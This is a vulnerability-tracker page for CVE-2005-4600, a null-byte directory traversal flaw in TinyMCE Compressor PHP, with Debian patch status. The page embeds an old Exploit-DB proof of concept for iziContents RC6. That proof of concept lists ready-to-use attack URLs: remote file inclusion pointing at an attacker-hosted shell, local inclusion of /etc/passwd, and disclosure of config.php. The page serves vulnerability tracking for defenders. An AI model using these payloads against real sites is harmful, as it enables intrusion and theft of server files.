CVE-2005-4600

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

1.0

Description

Directory traversal vulnerability in tiny_mce_gzip.php in TinyMCE Compressor PHP before 1.06 allows remote attackers to read or include arbitrary files via a trailing null byte (%00) in the (1) theme, (2) language, (3) plugins, or (4) lang parameter.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-4441 webapps php verified text · 2 KB

irk4z · 2007-09-21

iziContents rc6 - Local/Remote File Inclusion

text exploit Source: Exploit-DB

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#                 .                     .    .      .-*'`    `*-.._.-'/        #
#                                   o       o     < * ))     ,       (         #
#                            .           o          `*-._`._(__.--*"`.\        #
#                                                                              #
# vuln.: iziContents <= RC6 (RFI/LFI) Multiple Remote Vulnerabilities          #
# author: irk4z@yahoo.pl                                                       #
# download:                                                                    #
#   http://www.izicontents.com/download/iziContents1RC6.zip                    #
#                                                                              #
# greetz: cOndemned, kacper ;>                                                 #


# remote file inclusion:
 http://[site]/[path]/modules/search/search.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/poll/inlinepoll.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/poll/showpoll.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/links/showlinks.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/links/submit_links.php?rootdp=zZz&gsLanguage=http://[shell]? 
 
# local file inclusion:
 http://[site]/[path]/modules/poll/poll_summary.php?rootdp=zZz&admin_home=/etc/passwd%00
 http://[site]/[path]/include/db.php?rootdp=/etc/passwd%00
 
# remote file disclosure:
 http://[site]/[path]/include/tinymce/tiny_mce_gzip.php?theme=../../config.php%00

# milw0rm.com [2007-09-21]

OS impact

Debian Fixed 5 releases

Version	Status	Fixed in
trixie	Fixed	`2.5.1-3`
sid	Fixed	`2.5.1-3`
forky	Fixed	`2.5.1-3`
bullseye	Fixed	`2.5.1-3`
bookworm	Fixed	`2.5.1-3`

References

https://security-tracker.debian.org/tracker/CVE-2005-4600

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.